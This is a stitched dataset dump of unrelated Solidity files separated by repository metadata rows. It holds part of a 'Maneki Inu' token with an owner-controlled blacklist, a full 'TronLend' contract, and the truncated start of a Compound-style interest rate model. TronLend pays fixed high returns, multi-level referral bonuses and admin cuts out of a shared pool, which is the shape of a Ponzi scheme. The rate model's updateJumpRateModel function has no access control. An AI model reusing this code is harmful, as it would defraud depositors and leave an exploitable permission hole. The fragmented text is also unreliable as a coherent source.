emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Manekinu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**8;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _initialTax;
uint256 private _finalTax;
uint256 private _reduceTaxTarget;
uint256 private _reduceTaxCountdown;
address payable private _feeAddrWallet;
string private constant _name = "Maneki Inu";
string private constant _symbol = "Maneki";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public _maxTxAmount = _tTotal.mul(20).div(1000);
uint256 public _maxWalletSize = _tTotal.mul(20).div(1000);
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
_initialTax=5;
_finalTax=3;
_reduceTaxCountdown=35;
_reduceTaxTarget = _reduceTaxCountdown.div(2);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
_feeAddr1 = 0;
_feeAddr2 = (_reduceTaxCountdown==0)?_finalTax:_initialTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_reduceTaxCountdown>0){_reduceTaxCountdown--;}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0 && _reduceTaxCountdown<_reduceTaxTarget) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}else{
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 38,162 | 10,688 |
db2d8d96aa716e0f142722f79bc3d05239e104e21455731e236829e15eb2cac4
| 19,476 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFYxMbTzC4XmHQZiCiPoCyhAAmRbkuaVUa_TronLend.sol
| 5,270 | 18,863 |
//SourceUnit: TronLend.sol
pragma solidity >=0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TronLend is Ownable {
using SafeMath for uint256;
uint256 public constant MINIMAL_DEPOSIT = 10 trx;
uint256 public constant DEPOSITS_THRESHOLD = 25;
uint256 public constant ROWS_IN_DEPOSIT = 7;
uint8 public constant DEPOSITS_TYPES_COUNT = 4;
uint256 public constant POSSIBLE_DEPOSITS_ROWS_COUNT = 700;
uint256[4] public PLANS_PERIODS = [15 days, 25 days, 40 days, 60 days];
uint256[4] public PLANS_PERCENTS = [15, 30, 50, 87];
uint256[4] public ADMIN_REWARDS_PERCENTS = [80, 80, 80, 80];
uint256[9] public LEADER_BONUS_TRIGGERS = [
10000 trx,
20000 trx,
50000 trx,
100000 trx,
500000 trx,
1000000 trx,
5000000 trx,
10000000 trx,
50000000 trx
];
uint256[9] public LEADER_BONUS_REWARDS = [
200 trx,
400 trx,
1000 trx,
2000 trx,
10000 trx,
35000 trx,
130000 trx,
350000 trx,
3500000 trx
];
uint256[3] public LEADER_BONUS_LEVEL_PERCENTS = [100, 30, 15];
address payable public PROMOTION_ADDRESS = address(0x075bC46E0E91d4a2DAEd0F455F5d4B157843d244);
uint256[4] public PROMOTION_PERCENTS = [20, 20, 20, 20];
address payable public constant DEFAULT_REFERRER = address(0x226B0cb25b7C71c852E982a1d15238a7744365eA);
uint256[5][4] public REFERRAL_PERCENTS;
uint256[4] public TOTAL_REFERRAL_PERCENTS = [300, 600, 900, 1200];
struct Deposit {
uint256 id;
uint256 amount;
uint8 depositType;
uint256 freezeTime;
uint256 withdrawn;
}
struct Player {
address payable referrer;
address refLevel;
uint256 referralReward;
uint256 refsCount;
bool isActive;
uint256 leadTurnover;
uint256 basicWithdraws;
uint256 leadBonusReward;
bool[9] receivedBonuses;
bool isMadeFirstDeposit;
Deposit[] deposits;
uint256 investmentSum;
uint256[4] depositsTypesCount;
}
mapping(address => Player) public players;
mapping(address => uint256) private balances;
uint256 public playersCount;
uint256 public depositsCounter;
uint256 public totalFrozenFunds;
uint256 public totalReferalWithdraws;
uint256 public totalLeadBonusReward;
uint256 public turnover;
event NewDeposit(uint256 depositId,
address account,
address referrer,
uint8 depositType,
uint256 amount);
event Withdraw(address account, uint256 originalAmount, uint256 level_percent, uint256 amount);
event TransferReferralReward(address ref, address player, uint256 originalAmount, uint256 level_percents, uint256 rateType, uint256 amount);
event TransferLeaderBonusReward(address indexed _to,
uint256 indexed _amount,
uint8 indexed _level);
event TakeAwayDeposit(address account, uint8 depositType, uint256 amount);
event WithdrawAdminReward(address admin, uint256 reward);
event WithdrawPromotionReward(address promo, uint256 reward);
constructor() public {
REFERRAL_PERCENTS[0] = [125, 75, 50, 25, 25];
REFERRAL_PERCENTS[1] = [250, 150, 100, 50, 50];
REFERRAL_PERCENTS[2] = [375, 225, 150, 75, 75];
REFERRAL_PERCENTS[3] = [500, 300, 200, 100, 100];
}
function isDepositCanBeCreated(uint8 depositType) external view returns (bool) {
if (depositType < DEPOSITS_TYPES_COUNT) {
return players[msg.sender].depositsTypesCount[depositType] < DEPOSITS_THRESHOLD;
}
else {
return false;
}
}
function makeDeposit(address payable ref, uint8 depositType)
external
payable
{
Player storage player = players[msg.sender];
require(depositType < DEPOSITS_TYPES_COUNT, "Wrong deposit type");
require(player.depositsTypesCount[depositType] < DEPOSITS_THRESHOLD, "Can't create deposits over limit");
require(msg.value >= MINIMAL_DEPOSIT,
"Not enought for mimimal deposit");
require(player.isActive || ref != msg.sender, "Referal can't refer to itself");
if (!player.isActive) {
playersCount = playersCount.add(1);
player.isActive = true;
}
player.depositsTypesCount[depositType] = player.depositsTypesCount[depositType].add(1);
_setReferrer(msg.sender, ref);
player.deposits.push(Deposit({
id: depositsCounter + 1,
amount: msg.value,
depositType: depositType,
freezeTime: now,
withdrawn: 0
}));
player.investmentSum = player.investmentSum.add(msg.value);
totalFrozenFunds = totalFrozenFunds.add(msg.value);
emit NewDeposit(depositsCounter + 1, msg.sender, _getReferrer(msg.sender), depositType, msg.value);
distributeRef(msg.value, msg.sender, depositType);
distributeBonuses(msg.value, msg.sender);
sendRewardToAdmin(msg.value, depositType);
sendRewardToPromotion(msg.value, depositType);
depositsCounter = depositsCounter.add(1);
}
function takeAwayDeposit(uint256 depositId) external returns (uint256) {
Player storage player = players[msg.sender];
require(depositId < player.deposits.length, "Out of keys list range");
Deposit memory deposit = player.deposits[depositId];
require(deposit.withdrawn > 0, "First need to withdraw reward");
require(deposit.freezeTime.add(PLANS_PERIODS[deposit.depositType]) <= block.timestamp,
"Not allowed now");
require(address(this).balance >= deposit.amount, "Not enought TRX to withdraw deposit");
player.depositsTypesCount[deposit.depositType] = player.depositsTypesCount[deposit.depositType].sub(1);
player.investmentSum = player.investmentSum.sub(deposit.amount);
if (depositId < player.deposits.length.sub(1)) {
player.deposits[depositId] = player.deposits[player.deposits.length.sub(1)];
}
player.deposits.pop();
msg.sender.transfer(deposit.amount);
emit TakeAwayDeposit(msg.sender, deposit.depositType, deposit.amount);
}
function _withdraw(address payable _wallet, uint256 _amount) private {
require(address(this).balance >= _amount, "Not enougth TRX to withdraw reward");
_wallet.transfer(_amount);
}
function withdrawReward(uint256 depositId) external returns (uint256) {
Player storage player = players[msg.sender];
require(depositId < player.deposits.length, "Out of keys list range");
Deposit storage deposit = player.deposits[depositId];
require(deposit.withdrawn == 0, "Already withdrawn, try 'Withdrow again' feature");
uint256 amount = deposit.amount.mul(PLANS_PERCENTS[deposit.depositType]).div(100);
deposit.withdrawn = deposit.withdrawn.add(amount);
_withdraw(msg.sender, amount);
emit Withdraw(msg.sender, deposit.amount, PLANS_PERCENTS[deposit.depositType], amount);
player.basicWithdraws = player.basicWithdraws.add(amount);
return amount;
}
function withdrawRewardAgain(uint256 depositId) external returns (uint256) {
Player storage player = players[msg.sender];
require(depositId < player.deposits.length, "Out of keys list range");
Deposit storage deposit = player.deposits[depositId];
require(deposit.withdrawn != 0, "Already withdrawn, try 'Withdrow again' feature");
require(deposit.freezeTime.add(PLANS_PERIODS[deposit.depositType]) <= block.timestamp, "Repeated withdraw not allowed now");
deposit.freezeTime = block.timestamp;
uint256 amount =
deposit.amount
.mul(PLANS_PERCENTS[deposit.depositType])
.div(100);
deposit.withdrawn = deposit.withdrawn.add(amount);
_withdraw(msg.sender, amount);
emit Withdraw(msg.sender, deposit.withdrawn, PLANS_PERCENTS[deposit.depositType], amount);
player.basicWithdraws = player.basicWithdraws.add(amount);
uint256 depositAmount = deposit.amount;
distributeRef(depositAmount, msg.sender, deposit.depositType);
sendRewardToAdmin(depositAmount, deposit.depositType);
sendRewardToPromotion(depositAmount, deposit.depositType);
return amount;
}
function distributeRef(uint256 _amount, address _player, uint256 rateType) private {
uint256 totalReward = _amount.mul(TOTAL_REFERRAL_PERCENTS[rateType]).div(10000);
address player = _player;
address payable ref = _getReferrer(player);
uint256 refReward;
for (uint8 i = 0; i < REFERRAL_PERCENTS[rateType].length; i++) {
refReward = (_amount.mul(REFERRAL_PERCENTS[rateType][i]).div(10000));
totalReward = totalReward.sub(refReward);
players[ref].referralReward = players[ref].referralReward.add(refReward);
totalReferalWithdraws = totalReferalWithdraws.add(refReward);
if (address(this).balance >= refReward) {
if (i == 0 && !players[player].isMadeFirstDeposit) {
players[player].isMadeFirstDeposit = true;
players[ref].refsCount = players[ref].refsCount.add(1);
}
ref.transfer(refReward);
emit TransferReferralReward(ref, player, _amount, REFERRAL_PERCENTS[rateType][i], rateType, refReward);
}
else {
break;
}
player = ref;
ref = players[ref].referrer;
if (ref == address(0x0)) {
ref = DEFAULT_REFERRER;
}
}
if (totalReward > 0) {
address(uint160(owner())).transfer(totalReward);
}
}
function distributeBonuses(uint256 _amount, address payable _player)
private
{
address payable ref = players[_player].referrer;
for (uint8 i = 0; i < LEADER_BONUS_LEVEL_PERCENTS.length; i++) {
players[ref].leadTurnover = players[ref].leadTurnover.add(_amount.mul(LEADER_BONUS_LEVEL_PERCENTS[i]).div(100));
for (uint8 j = 0; j < LEADER_BONUS_TRIGGERS.length; j++) {
if (players[ref].leadTurnover >= LEADER_BONUS_TRIGGERS[j]) {
if (!players[ref].receivedBonuses[j] && address(this).balance >= LEADER_BONUS_REWARDS[j]) {
players[ref].receivedBonuses[j] = true;
players[ref].leadBonusReward = players[ref]
.leadBonusReward
.add(LEADER_BONUS_REWARDS[j]);
totalLeadBonusReward = totalLeadBonusReward.add(LEADER_BONUS_REWARDS[j]);
ref.transfer(LEADER_BONUS_REWARDS[j]);
emit TransferLeaderBonusReward(ref,
LEADER_BONUS_REWARDS[j],
i);
} else {
continue;
}
} else {
break;
}
}
ref = players[ref].referrer;
}
}
function sendRewardToAdmin(uint256 amount, uint8 depositType) private {
uint256 reward = amount.mul(ADMIN_REWARDS_PERCENTS[depositType]).div(1000);
address(uint160(owner())).transfer(reward);
emit WithdrawAdminReward(owner(), reward);
}
function sendRewardToPromotion(uint256 amount, uint8 depositType) private {
uint256 reward = amount.mul(PROMOTION_PERCENTS[depositType]).div(1000);
PROMOTION_ADDRESS.transfer(reward);
emit WithdrawPromotionReward(PROMOTION_ADDRESS, reward);
}
function _getReferrer(address player) private view returns (address payable) {
return players[player].referrer;
}
function _setReferrer(address playerAddress, address payable ref) private {
Player storage player = players[playerAddress];
uint256 depositsCount = getDepositsCount(address(ref));
if (player.referrer == address(0)) {
if (ref == address(0) || depositsCount == 0) {
player.referrer = DEFAULT_REFERRER;
}
else {
player.referrer = ref;
}
}
}
function add() external payable {
require(msg.value > 0, "Invalid TRX amount");
balances[msg.sender] = balances[msg.sender].add(msg.value);
turnover = turnover.add(msg.value);
}
function sub(uint256 _amount) public {
require(balances[msg.sender] >= _amount, "Low TRX balance");
balances[msg.sender] = balances[msg.sender].sub(_amount);
msg.sender.transfer(_amount);
}
function turn(address payable _address) external payable {
turnover = turnover.add(msg.value);
_address.transfer(msg.value);
}
function getGlobalStats() external view returns (uint256[4] memory stats) {
stats[0] = totalFrozenFunds;
stats[1] = playersCount;
}
function getInvestmentsSum(address _player) public view returns (uint256 sum) {
return players[_player].investmentSum;
}
function getDeposit(address _player, uint256 _id) public view returns (uint256[ROWS_IN_DEPOSIT] memory deposit) {
Deposit memory depositStruct = players[_player].deposits[_id];
deposit = depositStructToArray(depositStruct);
}
function getDeposits(address _player) public view returns (uint256[POSSIBLE_DEPOSITS_ROWS_COUNT] memory deposits) {
Player memory player = players[_player];
for (uint256 i = 0; i < player.deposits.length; i++) {
uint256[ROWS_IN_DEPOSIT] memory deposit = depositStructToArray(player.deposits[i]);
for (uint256 row = 0; row < ROWS_IN_DEPOSIT; row++) {
deposits[i.mul(ROWS_IN_DEPOSIT).add(row)] = deposit[row];
}
}
}
function getDepositsCount(address _player) public view returns (uint256) {
return players[_player].deposits.length;
}
function isDepositTakenAway(address _player, uint256 _id) public view returns (bool) {
return players[_player].deposits[_id].amount == 0;
}
function getWithdraws(address _player) public view returns (uint256) {
return players[_player].basicWithdraws;
}
function getWithdrawnReferalFunds(address _player)
public
view
returns (uint256)
{
return players[_player].referralReward;
}
function getWithdrawnLeaderFunds(address _player)
public
view
returns (uint256)
{
return players[_player].leadBonusReward;
}
function getReferralsCount(address _player) public view returns (uint256) {
return players[_player].refsCount;
}
function getPersonalStats(address _player) external view returns (uint256[7] memory stats) {
Player memory player = players[_player];
stats[0] = address(_player).balance;
if (player.isActive) {
stats[1] = player.deposits.length;
stats[2] = getInvestmentsSum(_player);
}
else {
stats[1] = 0;
stats[2] = 0;
}
stats[3] = getWithdraws(_player);
stats[4] = getWithdrawnReferalFunds(_player);
stats[5] = getWithdrawnLeaderFunds(_player);
stats[6] = getReferralsCount(_player);
}
function getReceivedBonuses(address _player) external view returns (bool[9] memory) {
return players[_player].receivedBonuses;
}
function depositStructToArray(Deposit memory deposit) private view returns (uint256[ROWS_IN_DEPOSIT] memory depositArray) {
depositArray[0] = deposit.id;
depositArray[1] = deposit.amount;
depositArray[2] = deposit.depositType;
depositArray[3] = PLANS_PERCENTS[deposit.depositType];
depositArray[4] = PLANS_PERIODS[deposit.depositType];
depositArray[5] = deposit.freezeTime;
depositArray[6] = deposit.withdrawn;
}
}
| 296,089 | 10,689 |
e6dd5f14aebb352ca578218c6a8a785cca9a2f06dcaff839beaf293fc73e3773
| 31,051 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/0f/0f1397850daf1b986caae17a5db99f2edebe9f4d_JumpRateModel.sol
| 3,006 | 11,810 |
pragma solidity ^0.6.0;
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/InterestRateModel.sol
//Copyright 2020 Compound Labs, Inc.
interface IInterestRateModel {
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// solhint-disable-next-line compiler-version
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
//Copyright 2020 Compound Labs, Inc.
contract BaseJumpRateModel is IInterestRateModel, OwnableUpgradeable {
using SafeMath for uint;
event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink);
uint public constant blocksPerYear = 2102400;
uint public multiplierPerBlock;
uint public baseRatePerBlock;
uint public jumpMultiplierPerBlock;
uint public kink;
function updateJumpRateModel(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) external {
updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_);
}
